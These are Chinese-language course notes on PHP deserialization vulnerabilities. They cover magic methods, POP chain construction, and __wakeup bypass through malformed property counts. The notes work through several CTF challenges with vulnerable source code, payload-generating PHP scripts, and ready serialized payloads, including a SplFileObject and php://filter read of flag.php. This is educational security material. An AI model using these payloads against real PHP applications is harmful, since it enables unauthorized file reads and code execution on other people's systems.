PHP 反序列化系统学习 (跟蚁景网安)
PHP 反序列化系统学习 (跟蚁景网安)
1.序列化/反序列化技术
序列化: 将对象转换为字节流,目的是方便 对象在内存,文件,数据库或者网络之间的传递
反序列化 : 序列化的逆过程,即将字节流 转为 对象的 过程
反序列化漏洞
原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程被恶意控制,进而造成代码执行,getshell等一系列不可控的后果
反序列化漏洞也存在于java、python等语言,
但其基本原理相同。
3.PHP 反序列化
php反序列化也叫做对象注入,就是将程序在进行反序列化时,会自动调用一些函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞
可以理解为程序在执行 unserialize() 函数时,自动执行了某些魔术方法(magic method),而魔术方法的参数被用户控制,这就会产生安全问题
漏洞利用条件:
1.unserialize() 函数的参数可控
2.存在可利用的魔术方法
二. 面向过程 与 面向对象
c++ python java 都是基于面向对象的语言
什么是面向过程?
面向过程: 就是分析出解决问题所需要的步骤,然后用函数把这些步骤一步一步实现,使用的时候 一个一个依次调用
2. 什么是面向对象
对象是 现实事物的一种 抽象映射
3.相关概念
封装: 人类的共性 ,两个眼睛 ,一个鼻子,名字,年龄,吃饭
父类 (人类) --------------> 子类a(女)(可以继承父类的属性和方法) --------- 实例化 (对象) 小红
子类b (男) ------- 小明
类相当于一个模版,对象就是由这个模版实例化出来的某个东西
属性: 变量
方法: 函数
4.类的定义
类名的首字母需要大写
举例:
__construct () 魔术方法 自动触发 (开头有两个下划线)
5. 创建对象
对象:对象是类的实例。由于对象是根据类创建出来的,所以对象具备类中的属性和行为。
new 就是实例化的标志,新建
每个对象都是独立,唯一的
6.PHP序列化 : 对象转为字符序列
$ryan = new Girl('小美','18');
//序列化
$str = serialize($ryan);
echo $str
序列化结果:
O 表示 类(object)4代表长度为4 Girl是类名 , 2 代表2个属性 { s:4:'name' ;s:4:'ryan' ; s:3:'age';s:2:'20';}
代表内容 需要 用引号 包括
格式是 : 类型:长度:内容 比如 O:4:Girl
7.反序列化
$str= "O:4:'Girl':2:{'s:4:"name";s:4:"ryan";s:3:"age";i:20;}"
$obj= unserialiaze($str)
$obj -> hello() // $obj -> hello() 就是调用 Gril类 定义的 hello()方法
XSS
三.访问控制符
public 公共字段 按照声明时的字段名 序列化后的字段名 不包含 声明时的变量前缀符号$
protected 保护字段,在 所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上 \0*\0 的前缀,这里的\0 表示ascii 码为 0 的字符,属于不可见字符,因此该字段的长度会比可见字符(age)长度 大3
private 私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上 \0<declared class name >\0 前缀。这里的 <declared class name> 表示的声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的 祖先类 。
protected 不可见字符在反序列化的时候需要 用\00 (表示空字符 / 不可见)补上 ; 把小写字母s 改成 大写字母 S
四.魔术方法
开头有两个下划线
__construct() 对象创建
__destruct() 对象销毁
__toString() 把对象当做字符串
__wakeup() 使用unserialize
__sleep() 使用serialize时触发
这行 PHP 代码 $r2->abc = "zs"; 的含义是:
语法拆解与作用
$r2:代表一个对象(从代码里$r2 = clone $ryan;能看出,它是通过克隆$ryan得到的对象实例 )。->:是 PHP 中用于访问对象的属性或方法的操作符(类似其他语言里的 “点语法”,但 PHP 里对象用->、数组用[]区分)。abc:这里表示对象$r2的一个属性(如果之前没定义过,PHP 会动态为对象新增这个属性 )。= "zs":把字符串"zs"的值赋值给$r2对象的abc属性。
程序执行结束,将对象销毁
(先创建的,最后销毁)
五. 属性赋值
) ))
<?php
class DEMO{
public $func='evil';
public $arg='phpinfo();'; // 'system('ls /');'
}
$a = new DEMO();
$str= urlencode(serialize($a));
echo $str
?>
如何对属性赋值
1.直接在属性中赋值;优点是方便,缺点是只能赋值字符串
public $func='evil';
public $arg='phpinfo();'; // 'system('ls /');'
2.外部赋值 : 优点是可以赋值任意类型的值,缺点是只能操作public 属性 //new 一个对象,然后赋值
对于 php7.1+ 的版本,反序列化对属性类型并不敏感,尽管题目的类下的属性可能不是public ,但是我们可以本地改成public,然后生成public的序列化字符串。由于7.1+版本的容错机制,尽管属性类型错误,php也认识,也可以反序列化成功。基于此,可以绕过注入\0
字符的过滤。
3.构造方法赋值(万能方法): 利用魔术方法 __construct()
__construct() 魔术方法,当创建新对象实例时自动调用, 在construct方法中对对象进行赋值
示例
使用反序列化 调用 wake up
代码执行结束,对象自然销毁
真实后端代码
如果真的有wake up
把 属性个数 的1 改成 2
个数不对,畸形序列化字符串,数据是不合法的,有问题的,php接收到就想要尽快结束程序,不去执行wakeup
提前结束,直接 __destruct() 销毁对象
六.POP链
1.概念
POP链 : POP(面向属性编程)链是指从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构造出一组连续的调用链。
反序列化利用就是要找到合适的POP链,其实就是构造一条符合原代码需求的链条,去找到可以控制的属性或方法,从而构造POP链来达到攻击的目的
寻找POP链的思路
1.寻找unserialize()函数的参数是否可控
2.寻找反序列化想要执行的目标函数,重点寻找魔术方法(比如 __wake() 和 __destruct() )
3.一层一层的研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法
4.根据我们要控制的属性,构造序列化数据,发起攻击
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(1);
class Read
{
public function get_file($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
class Show
{
public $source;
public $var;
public $class1;
public function __construct($name='index.php')
{
$this->source = $name;
echo $this->source.' Welcome'."<br>";
}
public function __toString()
{
$content = $this->class1->get_file($this->var);
echo $content;
return $content;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function Change()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
}
}
public function __get($key){
$function=$this->$key;
$this->{$key}();
}
}
if(isset($_GET['sid']))
{
$sid=$_GET['sid'];
$config=unserialize($_GET['config']);
$config->$sid;
}
else
{
$show = new Show('index2.php');
$show->_show();
}
1.寻找unserialize()函数的参数是否可控
1.sid , config 可控
3.目的: 一层一层的研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法
- 目的 :读取 flag文件内容 ,使用读取文件或者 系统命令的 方法/函数
这里就是 Read -> get_file 方法
class Read
{
public function get_file($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
class Show
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
Show -> _show 方法可以 通过 highlight_file() 显示文件内容,但是过滤了 flag 可能用不了
现在来看 , 应该是用 Read -> get_file 方法
然后我们就找到 get_file 方法 都在哪里出现过
class Show
public function __toString()
{
$content = $this->class1->get_file($this->var);
echo $content;
return $content;
}
需要触发 Show -> _toString() //手动触发
让 `$this -> classl ` = new Read
我们可以控制的属性, 然后让 `$this->var` = `flag.php` 文件
$config->$sid
$config = new Show
$sid = __toString // 可以不要括号 ,也表示方法而不是字符串
class Show
if(isset($_GET['sid']))
{
$sid=$_GET['sid'];
$config=unserialize($_GET['config']);
$config->$sid;
}
1.手动触发
反序列化代码
<?php
class Read
{
}
class Show
{
public $source;
public $var="flag.php";
public $class1;
}
$s = new Show(); //括号可要可不要
$s -> class1 = new Read();
echo urlencode(serialize($s));
?>
直接赋值只能赋值字符串
O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7D
将序列化后字符串赋值给 config
然后 sid = __toString
2.自动触发 __toString 方法
需要把对象当做字符串,找到处理字符串的地方
这里的就是 正则匹配 (就是去操作字符串)
class Show
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
可以把 source 变成 Show 对象,因为我们要出发 Show的 __toString 方法
$this -> source = new Show;
触发__toString config =new Show
sid= _show /Change
<?php
class Read
{
}
class Show
{
public $source;
public $var="flag.php";
public $class1;
}
$s= new Show();
$s -> class1 = new Read();
$s2 =new Show();
$s2 ->souce =$s; //大的包含小的,这里是把$s 赋值给 $s2的source属性,s2属于大的,因为$s 已经有class1
echo urlencode(serialize($s2));
两个Show类的实例化对象,因为我们需要 把对象当作字符串, 把对象当作字符串,所以这里创建了两个对象,$s 是用给
class Show
public function __toString()
{
$content = $this->class1->get_file($this->var);
echo $content;
return $content;
}
给此函数属性赋值来满足,读取flag内容,而$s2 是满足 把对象当作字符串, 把对象当作字符串 ,所以这里的
$s2 ->souce =$s; 把$s赋值给 $s2 的 source属性,$s2是更大的,$s已经有class1属性赋值了,所以最后序列化的也是 $s2
七.畸形序列化字符串
1.认识畸形序列化字符串
畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的
1 .绕过 __wakeup()
2.快速析构:绕过过滤函数,提前执行__destruct
2.绕过 __wakeup
由于使用 unserialize()函数 后会立即触发__wakeup ,为了绕过 __wakeup 中的安全机制,可以用修改属性数量的方法 绕过 __wakeup方法。受版本影响
php5.0.0 ~php5.6.25
php7.0.0~php7.0.10
1.绕过方法
1.反序列化时,修改对象的属性数量,将原数量+n,那么__wakeup 方法将不再调用。比如:
一个汉字占3个字节,
第二个就是 本来2个属性,加一个属性,
s:1:'n':N 意思是 属性类型是字符串:属性名字长度为1:属性名字是n:属性内容是N(NULL为空的意思)
3.快速析构
快速析构的原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于是一个畸形序列化字符串,不标准,就触发了他的析构方法(__destruct)
应用场景:__destruct 在对象被销毁时才触发,__destruct之前会执行过滤函数,为了绕过过滤函数,需要提前触发__destruct方法:
畸形字符串构造
1.改变属性个数
2.删掉结尾的 } //也是畸形的
八.指针问题
1.指针 (内存地址) 是数据存放内存的地址
用 & 符号可以进行指针引用,类似于C语言中的指针。例如
$a=&$b;
这样$a 的值会随 $b的值的变化,确保两者永远相等。
不加指针
<?php
$b =1;
$a=$b;
echo $a."\n"; //1
$b=2;
echo $a ."\n"; //1
$a =3;
echo $a. "\n"; //3
echo $b."\n" //2
?>
加指针
<?php
$a =1;
$a=&$b;
echo $b //什么也不输出,空
echo $a."\n"; //1
$a=2; //指针生效,$a和$b永远相等,
echo $a ."\n"; //2
$a =3;
echo $a. "\n"; //3
echo $b."\n" //3
?>
指针确保两者永远相等
$a=&$b; //现在内存空间还没有$b, $b 的内存空间是在执行 $a = &$b; 这一行时才第一次开辟的,并且初始值是 NULL。前面 $a = 1; 和 $b 没有关系。
如果 $b 已经有 zval(内存单元),就直接让 $a 指向同一个 zval。
// 如果 $b 不存在(你的例子就是这种情况),PHP 会马上给 $b 创建一个新的 zval,内容是 NULL,并且分配一个内存地址。
建立引用关系
$a 会被设为引用 $b,即 $a 的符号表条目指向 $b 的 zval 地址。
从这行之后,$a 和 $b 完全共享同一个 zval,无论谁改值,另一方都会同步变化。
2.例题
<?php
class Seri{
public $alize;
public function __construct($alize) {
$this->alize = $alize;
}
public function __destruct(){
$this->alize->getFlag();
}
}
class Alize{
public $f;
public $t1;
public $t2;
function __construct($file){
echo "Another construction!!";
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}
public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2) //=== 判断是否全等(数据类型也要相等),==判断是否相等
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
} else {
echo "no";
}
}
}
$p = $_GET['p'];
if (isset($p)) {
$p = unserialize($p);
} else {
show_source(__FILE__);
// echo "NONONO";
}
?>
POP链
$p = $_GET['p'];
Seri -> __destruct -> $this->alize =new Alize
Alize ->getFlag $f =flag.php $t1=$t2 (这里是随机数,可以使用指针,或者碰撞)
<?php
class Seri{
public $alize;
public function __destruct(){
$this->alize->getFlag();
}
}
class Alize
{
public $f;
public $t1;
public $t2;
}
$s = new Seri();
$s1 = new Alize();
$s ->alize = $s1;
$s1 ->t1 = &$s1 ->t2; //加指针,让其值始终相等
$s1 ->f ='flag.php';
echo urlencode(serialize($s)); //s更大 ,s包括a
?>
__construct 不会执行
在 PHP 反序列化时,不会调用 __construct(),只会按序列化数据直接还原属性值。
只有你在代码里用 new Alize(...) 或 new Seri(...) 这种方式显式实例化对象时,__construct() 才会执行。
在你的 payload 里,Alize 和 Seri 对象都是通过 unserialize() 直接生成的,所以两个类的构造函数(包括 Another construction!! 那个输出)都不会触发
直接通过 unserialize() 还原对象,不会去执行 __construct()。
PHP 的规则是:
new 类名()→ 会执行构造函数__construct()。unserialize()→ 不会执行构造函数,只会还原属性值,执行析构函数__destruct()在对象销毁时才触发。
最后输出 t1 t2 和flag.php内容
1.蚁景网安反序列化题目
<?php
class DemoX{
protected $user;
protected $sex;
function __construct(){
$this->user = "guest";
$this->sex = "male";
}
function __wakeup(){
$this->user = "Guest";
$this->sex = "female";
}
function __toString(){
return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>";
}
function __destruct()
{
echo $this;
}
}
class Demo2{
private $fffl4g;
function __construct($file){
$this->fffl4g = $file;
}
function __toString(){
return file_get_contents($this->fffl4g);
}
}
if(!isset($_GET['poc'])){
highlight_file("index.php");
}
else{
$user = unserialize($_GET['poc']);
}
通过代码审计,我们的目的是 读取flag.php,
和文件读取有关的方法
class Demo2{
function __toString(){
return file_get_contents($this->fffl4g);
}
}
我们可以去 创建一个新对象,将$this->fffl4g 也就是新对象的 fffl4g 属性 等于我们想要读取内容的文件名,也就是flag.php
然后我们需要考虑魔术方法 __toString()的调用,当对象被当做字符串来处理时,自动触发 __toString ()
那什么时候,对象被当做字符串处理
function __destruct()
{
echo $this;
}
这里的$this 就是指对象,__destruct 也是魔术方法,在对象实例化销毁时自动触发
//要让它去调用 Demo2::__toString(),$this(也就是 DemoX 对象本身)必须能被当作字符串返回 Demo2 对象
这里的$this 对象被当做字符串,会自动触发 class DemoX类的 __toString 方法
function __toString(){
return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>";
}
这里进行字符串拼接,如果我们可以把 $this ->user 变成 Demo2类的一个对象,就可以自动触发
function __toString(){
return file_get_contents($this->fffl4g);
}
}
然后给 $this ->fffl4g 赋值 flag.php 就可以了
大概意思是这样的
<?php
class DemoX
{
protected $user;
protected $sex;
}
class Demo2
{
private $fffl4g;
}
$s = new Demo2();
$s -> $fffl4g = 'flag.php';
$s2 = new DemoX();
$s2 ->$user = $s;
echo urlencode(serialize($s2));
?>
但是 因为 fffl4g 是私有属性,所以会赋值失败
需要改一下格式
1. 访问控制导致赋值失败
$s -> $fffl4g = 'flag.php';
$fffl4g 在 Demo2 里是 private 属性,而你现在是在类外部直接赋值。
PHP 这种情况下会新建一个同名的 public 属性,而不会去改真正的 private 属性。
反序列化的时候也是一样,如果属性名不对,类内部的 __toString() 拿到的就是 null,file_get_contents(null) 会失败。
2. ##### 反序列化属性名格式必须特殊处理
在 PHP 序列化里:
protected 属性:"\0*\0属性名"
private 属性:"\0类名\0属性名"
比如:
protected $user → "\0*\0user"
private $fffl4g → "\0Demo2\0fffl4g"
- 我们用
$d2_serial并不是在真的赋值,而是在构造属性表,最后用它拼接出一条反序列化 payload。 - 这条 payload 在
unserialize()时才会还原出真正的 private 属性值。
✅ 总结:
你不能在 new 出来的 $d2 对象上直接改 private 属性值(即使写出正确的属性名),因为外部代码没有权限。
必
须通过构造序列化字符串来实现,所以 $d2_serial 是中间结构,不是“新属性”,而是最终 payload 的一部分。
<?php
class DemoX {
protected $user;
protected $sex;
}
class Demo2 {
private $fffl4g;
}
// 创建 Demo2 并手动设置正确的 private 属性名
$d2 = new Demo2();
$d2_serial = [
"\0Demo2\0fffl4g" => "flag.php"
];
// 创建 DemoX,并手动设置 protected 属性名
$d1 = new DemoX();
$d1_serial = [
"\0*\0user" => (object)array_merge(
['__PHP_Incomplete_Class_Name' => 'Demo2'],
$d2_serial
),
"\0*\0sex" => "male"
];
// 生成最终 payload
echo urlencode((serialize($d1)));
?>
课程老师讲解
<?php
class DemoX{
protected $user;
protected $sex;
function __construct(){ //对象创建触发
$this->user = "guest";
$this->sex = "male";
}
function __wakeup(){ //对象反序列化时触发
$this->user = "Guest";
$this->sex = "female";
}
function __toString(){ //把对象当做字符串处理触发
return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>"; //字符串拼接
}
function __destruct()
{
echo $this; //$this 是当前类的对象
}
}
class Demo2{
private $fffl4g;
function __construct($file){
$this->fffl4g = $file;
}
function __toString(){
return file_get_contents($this->fffl4g);
}
}
if(!isset($_GET['poc'])){
highlight_file("index.php");
}
else{
$user = unserialize($_GET['poc']);
}
POP 起点:$_GET['POC']
DemoX->__destruct //对象销毁时触发
DemoX -> __toString
$this->user =new Demo2
终点: 获取flag Demo2 -> __toString()
$this->fffl4g->flag.php
需要触发 __toString 也就是对象被当成字符串处理,
function __toString(){ //把对象当做字符串处理触发
return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>"; //字符串拼接
}
function __destruct()
{
echo $this; //$this 是当前类的对象 echo输出就是把对象当做字符串处理
}
}
需要选第一个,为什么: $this 是当前类的对象,就是 DemoX类,触发DemoX的 __toString 自动触发
function __construct(){ //对象创建触发
$this->user = "guest";
$this->sex = "male";
}
function __wakeup(){ //对象反序列化时触发
$this->user = "Guest";
$this->sex = "female";
}
因为我们的 $this->user=new Demo2() 所以不能执行__wakeup (反序列化执行),使用畸形序列化字符串
<?php
use Couchbase\User;
class DemoX{
protected $user;
protected $sex;
function __construct(){ //对象创建触发
$this->user = new Demo2();
$this->sex = "male";
}
}
class Demo2{
private $fffl4g='flag.php';
}
$d=new DemoX();
$str= serialize($d);
echo $str;
echo "\n";
echo urlencode($str);
?>
输出结果是
O:5:"DemoX":2:{s:7:" * user";O:5:"Demo2":1:{s:13:" Demo2 fffl4g";s:8:"flag.php";}s:6:" * sex";s:4:"male";}
O%3A5%3A%22DemoX%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A4%3A%22male%22%3B%7D
但是不能执行__wakeup,所以把属性格式改成3
也就是
O%3A5%3A%22DemoX%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A4%3A%22male%22%3B%7D
%3A 是冒号
2.NSS 星辰大海 POP2
源码
<?php
highlight_file(__FILE__);
class NSS1 {
var $name;
function __destruct() {
echo $this->name;
}
}
class NSS2 {
var $name;
function __toString()
{
echo $this->name->test;
}
}
class NSS3 {
var $name;
var $res;
function __get($name){
$this->name->getflag();
}
function __call($name, $arguments){
if ($this->res === 'nssctf') {
echo getenv('FLAG');
}
}
}
unserialize($_GET['n']);
还是按照我们这个思路
这里的反序列化函数的参数是 我们提交的,所以是可控的
然后我们的目标是读取flag 也就是寻找 是否有命令执行函数(eval) 或者 文件读取方法
class NSS3 {
var $name;
var $res;
function __get($name){
$this->name->getflag();
}
function __call($name, $arguments){
if ($this->res === 'nssctf') {
echo getenv('FLAG');
}
}
我们想要去执行 echo getenv('FLAG') ,就需要满足
$this -> res === 'nssctf' 这个我们新创建一个对象实例,然后对属性进行赋值即可
要执行这个,就需要去 调用__call 方法 ,因为 __call 方法 是 魔术方法,当 在对象上下文中调用不可访问的方法时 ,自动触发
也就是
$s = new NSS3();
$s ->res ='nssctf';
$s->__toString;
echo urlencode(serialize($S));
这里就出现了认知误区, __call 方法 只有当在对象上下文中调用不可访问的方法时触发,我想要访问的方法 __toString 虽然不是我们这里的 NSS3 类的 方法,但是是存在的方法,是不行的,需要把前面的NSS1 和 NSS 2类利用 起来
class NSS1 {
var $name;
function __destruct() {
echo $this->name;
}
}
这里 echo $this ->name ,如果我们可以 $this ->name=$s(NSS2的对象),就可以自动触发
class NSS2 {
var $name;
function __toString()
{
echo $this->name->test;
}
}
toString 方法,当对象被当做字符串时触发,而这里又有
$this ->name=test , 如果这里的 $this -> name 是NSS3的对象,就可以自动调用 __get
class NSS3 {
var $name;
var $res;
function __get($name){
$this->name->getflag();
}
function __call($name, $arguments){
if ($this->res === 'nssctf') {
echo getenv('FLAG');
}
}
get方法 是从不可访问的属性读取数据时,自动调用,因为test不存在,$r=this ->name ->test, 就是去 访问test 属性,访问的时候 自然也需要 读取属性的数据
然后 $this->name->getflag(); 因为$this ->name 是没有 getflag方法的类的对象,(可以是NSS3的对象),也就是 该对象 调用不可访问的方法,会自动触发 __call 方法,然后就可输出flag
<?php
class NSS1 {
var $name;
}
class NSS2 {
var $name;
function __toString()
{
echo $this->name->test;
}
}
class NSS3
{
var $name;
var $res;
function __get($name)
{
$this->name->getflag();
}
}
$a =new NSS1();
$b =new NSS2();
$c=new NSS3();
$c->name=$c;
$a ->name=$b;
$b ->name=$c;
$c ->res ='nssctf';
echo urlencode(serialize($a));
?>
$c->name=$c; 因为这个的目的是触发 $this ->name 需要是一个对象,对象去访问方法,所以对象自己给自己的属性赋值
function __get($name){
$this->name->getflag();
}
3.NSS 星辰大海 __wakeup
题目源码
<?php
highlight_file(__FILE__);
class NSS {
var $name;
function __wakeup() {
$this->name = '1';
}
function __destruct() {
if ($this->name === 'ctf') {
echo getenv('FLAG');
}
}
}
unserialize($_GET['n']);
__wakeup 是反序列化时自动调用,可以畸形序列化字符串绕过,尝试一下
<?php
class NSS {
var $name;
function __destruct() {
if ($this->name === 'ctf') {
echo getenv('FLAG');
}
}
}
$s = new NSS();
$s ->name= 'ctf';
echo serialize($s);
?>
输出结果是
O:3:"NSS":1:{s:4:"name";s:3:"ctf";}
然后把 1 改成 2,就可以
小题拿下
4.[GDOUCTF 2023]反方向的钟
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000) //__construct($name, $rank, $salary = 10000) 是一个类的构造方法,用于在创建类的实例(对象)时初始化对象的属性。其中 $salary = 10000 表示参数的默认值。
{
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}
class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}
class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}
if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>
flag在flag.php里
我们最后的目的是读取flag.php文件内容,可以利用的应该是 IPO方法,如何利用 那
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
这里的 a 和 b 我们都可以控制,如果我们可以构造出类似于 system('cat /flag.php'); 的语句就可以解决这个问题
经过查阅可以找到
php的原生类SplFileObject来读取文件内容 ,也就是 让 a =SplFileObject ,b=flag.php ,
php原生类是什么
PHP原生类 是指 PHP内置的类,他们可以直接在PHP代码中使用 且无需 安装或导入任何库
SplFileObject 类
SplFileObject 类提供了一个高级的面向对象接口,用于对文件内容的遍历、查找和操作。例如:
<?php
$file = new SplFileObject("/path/to/file.txt");
foreach ($file as $line) {
echo $line . '<br>';
}
?>
上述代码将逐行读取文件内容并输出。
寻找POP链的思路
1.寻找unserialize()函数的参数是否可控
2.寻找反序列化想要执行的目标函数,重点寻找魔术方法(比如 __wake() 和 __destruct() )
3.一层一层的研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法
4.根据我们要控制的属性,构造序列化数据,发起攻击
POP链构造
$_POST'a'; a 和 b 都是我们可以直接传参控制的 ,这里我们让
a=SplFileObject&b=flag.php 试试 //结合为协议读取源代码
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
终点是 GET['d']
触发__wakeup() // 反序列化时自动触发
$this->department =new teacher() // 需要是一个对象 ,还有让 hahaha()方法正确执行,
$this->name= 'one class' $this->leader->name = 'ing' $this->leader->rank ='department'
$this->IPO();
目的是 执行 IPO() 方法,需要 让 $this->headmaster == 'ong'
POC
<?php
class teacher{
public $name;
public $rank;
private $salary;
}
class classroom{
public $name;
public $leader;
}
class school
{
public $department;
public $headmaster;
}
$a =new school();
$b =new classroom();
$c =new teacher();
$a ->department =$b;
$b ->leader =$c;
$c ->name ='ing';
$c ->rank ='department';
$b ->name ='one class' ;
$a ->headmaster ='ong';
echo base64_encode(serialize($a));
?>
结果是
Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

浙公网安备 33010602011771号